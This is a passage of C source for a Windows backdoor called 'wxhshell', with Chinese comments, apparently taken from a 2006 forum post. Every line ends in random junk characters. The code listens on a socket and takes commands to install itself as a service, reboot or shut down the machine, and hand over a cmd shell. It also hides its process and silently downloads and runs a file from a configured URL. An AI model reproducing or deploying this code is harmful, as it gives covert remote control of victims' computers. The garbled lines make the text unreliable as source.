  else { FQ1oqqr  
*lF%8k"Al  
    switch(cmd[0]) { 3(p6ak2lv  
  Q8:ocEhR  
  // 帮助 o_m.MMEU  
  case '?': { g$LwXfg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PdBhX  
    break; L4Y3\4xXO  
  } dV  
  // 安装 hkI);M+@6  
  case 'i': { QLg9aG|  
    if(Install()) Xe+FMbBco  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @23x;x  
    else s\R?@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?M(Wx  
    break; 'PbA/MN  
    } 6\@, Lb  
  // 卸载 DK%eFCo<~  
  case 'r': { |%;txD  
    if(Uninstall()) X;>} ;LiK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =upP3rw  
    else H;&t"Ql.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rcT<OiYuig  
    break; TvwIro  
    } :!h H`l}p  
  // 显示 wxhshell 所在路径 !S{<Xc'wv  
  case 'p': { !WnI`  
    char svExeFile[MAX_PATH]; ji=po;g=E  
    strcpy(svExeFile,"\n\r"); z59J=?|  
      strcat(svExeFile,ExeFile); ~-i?=  
        send(wsh,svExeFile,strlen(svExeFile),0); ob #XKL  
    break; FR"^?z?}p  
    } #ySx$WT;  
  // 重启 Z+7S,M  
  case 'b': { Or>[_3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zxdO3I  
    if(Boot(REBOOT)) Jl ?Q}SB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KL`>mJo$  
    else { v}D!  
    closesocket(wsh); s'4p+eJ  
    ExitThread(0); #Qd3A  
    } :nEV/"#F  
    break; .x%SbG<k{  
    } yG4MqR)J  
  // 关机 sAlgp2-  
  case 'd': { lsi8?91  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &0`7_g7G  
    if(Boot(SHUTDOWN)) &r%3)Z8Et  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UC@"<$'C  
    else { pC8i &_A  
    closesocket(wsh); `_`,XkpzCJ  
    ExitThread(0); ic#drpl,  
    } @eWx4bl  
    break; i-b7  
    } 1[]cMyV  
  // 获取shell DUr1s]+P  
  case 's': { Km-B=6*QY  
    CmdShell(wsh); Wz]S+IpY  
    closesocket(wsh); -AQX-[B  
    ExitThread(0); 0f1#T gX  
    break; X9HI@M]h  
  } A>puk2s  
  // 退出 lR!$+atW  
  case 'x': { *Rd&4XG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wBET.l'd  
    CloseIt(wsh); i|mA/ e3b  
    break; nj$K4_  
    } d]]qy  
  // 离开 H"l'E9k.&p  
  case 'q': { a{W-+t   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qT4s* kqr  
    closesocket(wsh); 4{KsCd)  
    WSACleanup(); %*nZ,r  
    exit(1); y]_DW6W  
    break; p'*UM%@SIY  
        } 9iE66N>z  
  } :83" t-O8[  
  } 7F4]EA ^  
E.9F~&DPJ<  
  // 提示信息 8^lXM-G-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X c^~|%+  
}  Eqc$*=  
  } 4Q5v8k=  
G w[&P%  
  return; icmDPq  
} |sh  U  
3[rB:cE/  
// shell模块句柄 [6|vx},N  
int CmdShell(SOCKET sock) NL 37Y{b  
{ hj4Rr(T  
STARTUPINFO si; vkK+ C~"  
ZeroMemory(&si,sizeof(si)); \bfHGo=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5hAg*zJb5o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ./d (@@  
PROCESS_INFORMATION ProcessInfo; ?x @khzk  
char cmdline[]="cmd"; !MC W t  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]O."M"B  
  return 0; @w0[5ZAj  
} ( EX  
w3@ te\  
// 自身启动模式 x-<dJ}`  
int StartFromService(void) qJ@?[|2R  
{ v6:DA#0  
typedef struct u#\3T>o%@  
{ $$@Tgkg?o  
  DWORD ExitStatus; ? &O$ayG77  
  DWORD PebBaseAddress; |}; ~YMH  
  DWORD AffinityMask; 5h1j.t!  
  DWORD BasePriority; VA0TY/{ ]  
  ULONG UniqueProcessId; !Xm:$KH  
  ULONG InheritedFromUniqueProcessId; 7}Sw(g)o7  
}   PROCESS_BASIC_INFORMATION; Q$%@.@  
=%L^!//c  
PROCNTQSIP NtQueryInformationProcess; d,77L  
O,cx9N  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ($wYaw z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =EKJ!{  
DQ)SMqOotw  
  HANDLE             hProcess; c nzPq\  
  PROCESS_BASIC_INFORMATION pbi; oC [g  
j*5VJ:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e([&Nr8h  
  if(NULL == hInst ) return 0; \ *2IU"R  
pGIeW}2'9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zin ,yJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 61'7b`:(hi  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1 f=L8Dr  
H2]I__t/u  
  if (!NtQueryInformationProcess) return 0; NQG"}=KA  
Cv|:.y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0\+Qi?&  
  if(!hProcess) return 0; &eg,*K}'  
4Qv|Z+$i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `Ao: }  
>HFJm&lQ  
  CloseHandle(hProcess); 3{ci]h`:y8  
G 1$l%B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g_=Q=y@,  
if(hProcess==NULL) return 0; ^.(]i \V_  
"a: ;  
HMODULE hMod; $?\],T  
char procName[255]; J0#% *B  
unsigned long cbNeeded; Ur`v*LT}~  
=9c24j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (:\hor%  
6-3l6q  
  CloseHandle(hProcess); \; 3r  
L,WK L.  
if(strstr(procName,"services")) return 1; // 以服务启动 h2q]!01XP  
5?b9[o+ D  
  return 0; // 注册表启动 9K49<u0O  
} $H#&.IjY  
h+Dok#g  
// 主模块 cZu:dwE  
int StartWxhshell(LPSTR lpCmdLine) <fw[7=_)^  
{ ql#K72s  
  SOCKET wsl; oVu>jO:.  
BOOL val=TRUE; 4=9F1[  
  int port=0; DbcKKgPn(9  
  struct sockaddr_in door; &0#qy9wx  
O/k4W#  
  if(wscfg.ws_autoins) Install(); )6(mf2&  
~_raI7,  
port=atoi(lpCmdLine); dw&Xg_$  
eN$~@'w  
if(port<=0) port=wscfg.ws_port; WFkXz*7B  
Pwq} ;+  
  WSADATA data; 68y.yX[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =3"Nn4Z  
pK3cg|}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   DGU$3w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '~@WJKk  
  door.sin_family = AF_INET; 1kpI?Plki  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /'I/sWEV  
  door.sin_port = htons(port); <W?,n%  
ZGf=/Ra a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Bq!P.%6p4  
closesocket(wsl); HZ|6&9we  
return 1; jk|0<-3  
} 4uz\Me(  
#NqA5QR  
  if(listen(wsl,2) == INVALID_SOCKET) { BAxZR  
closesocket(wsl); >fjf] 6  
return 1; M*}o{E;  
} `jV0;sPd;  
  Wxhshell(wsl); qb! vI3  
  WSACleanup(); 6wF ?FtT  
8\yH 7H  
return 0; #*9*[Xbi  
K9*K4'#R  
} Kg.E~  
9Dpmp|  
// 以NT服务方式启动 Rn}+l[]jC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9Kqr9U--v  
{ Fc=8Qt^  
DWORD   status = 0; ht1 jrCe  
  DWORD   specificError = 0xfffffff; U'\\(m|  
=3}+f-6"'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Dk4Wj"LS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZK13[_@9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z?GC+hG`  
  serviceStatus.dwWin32ExitCode     = 0; %(NRH?  
  serviceStatus.dwServiceSpecificExitCode = 0; $)'{+1  
  serviceStatus.dwCheckPoint       = 0; vOqYt42  
  serviceStatus.dwWaitHint       = 0; 97 1qr  
eSvu:euv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); eZUK<&0x5  
  if (hServiceStatusHandle==0) return; ULoTPx@N  
.z_^_@qdm  
status = GetLastError(); -Wmpj  
  if (status!=NO_ERROR) P017y&X  
{ r2Q"NVw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -<|E bh d3  
    serviceStatus.dwCheckPoint       = 0; vv3dr_l:  
    serviceStatus.dwWaitHint       = 0; ue`F|  
    serviceStatus.dwWin32ExitCode     = status; i}q6^;uTF  
    serviceStatus.dwServiceSpecificExitCode = specificError; .$q]<MK8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `dj/Uk  
    return; _ p?q/-[4  
  } M5<5 (l  
rp _G.C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; X=DJOepH'  
  serviceStatus.dwCheckPoint       = 0; L\b$1U!i  
  serviceStatus.dwWaitHint       = 0; UP,(zKTA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '8}\! i&  
} cd:O@)i  
AD8~  
// 处理NT服务事件,比如:启动、停止 Y &#<{j':  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g'mkhF(  
{ lRO4- y  
switch(fdwControl) YKk%lZ.8  
{ ln3.TR*  
case SERVICE_CONTROL_STOP: d 5Il0sG  
  serviceStatus.dwWin32ExitCode = 0; ?"L>jr(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9 /9,[A  
  serviceStatus.dwCheckPoint   = 0; Tp9LBF  
  serviceStatus.dwWaitHint     = 0; B[k"xs  
  { D$j`+`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T *$uc,  
  } %D&FnTa  
  return; #Uudx~b  
case SERVICE_CONTROL_PAUSE: '2%hc\P6P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _/KW5  
  break; vK6bpzI 3  
case SERVICE_CONTROL_CONTINUE: OnG!5b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ag] nVE/  
  break;  R z[-  
case SERVICE_CONTROL_INTERROGATE: 6R?J.&|  
  break; zis-}K<   
}; !Dz:6r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;aD_^XY  
} 0m?ul%=  
& ??)gMM[  
// 标准应用程序主函数 t[#`%$% '  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1pcSfN:"1  
{ Muarryh}  
$i =-A  
// 获取操作系统版本 &jj\-;=~Ho  
OsIsNt=GetOsVer(); S;CT:kG6Y{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,,@_r&f:  
&*0!${ B  
  // 从命令行安装 of(Nq@  
  if(strpbrk(lpCmdLine,"iI")) Install(); [TNYPA> {  
[t ^|l?  
  // 下载执行文件 /0(4wZe~?  
if(wscfg.ws_downexe) { XbHcd8N T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Bw{W-&$o  
  WinExec(wscfg.ws_filenam,SW_HIDE); E6n;_{Se/S  
} EkJo.'0@  
V,2O `D%  
if(!OsIsNt) { }}ogdq  
// 如果时win9x,隐藏进程并且设置为注册表启动 :pNZQX  
HideProc(); >+8mq]8^  
StartWxhshell(lpCmdLine); Q>X ;7nt0  
} Phx/9Kk  
else 8_KXli}7=  
  if(StartFromService()) ."3 J;j  
  // 以服务方式启动 5|AZ/!rb  
  StartServiceCtrlDispatcher(DispatchTable); Ju:=-5r"'  
else dAga(<K  
  // 普通方式启动 ^ 41 p+  
  StartWxhshell(lpCmdLine); I]T-}pG  
2wu 5`Z[E  
return 0; m@jOIt!<  
}
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只看该作者 1 发表于: 2006-10-10
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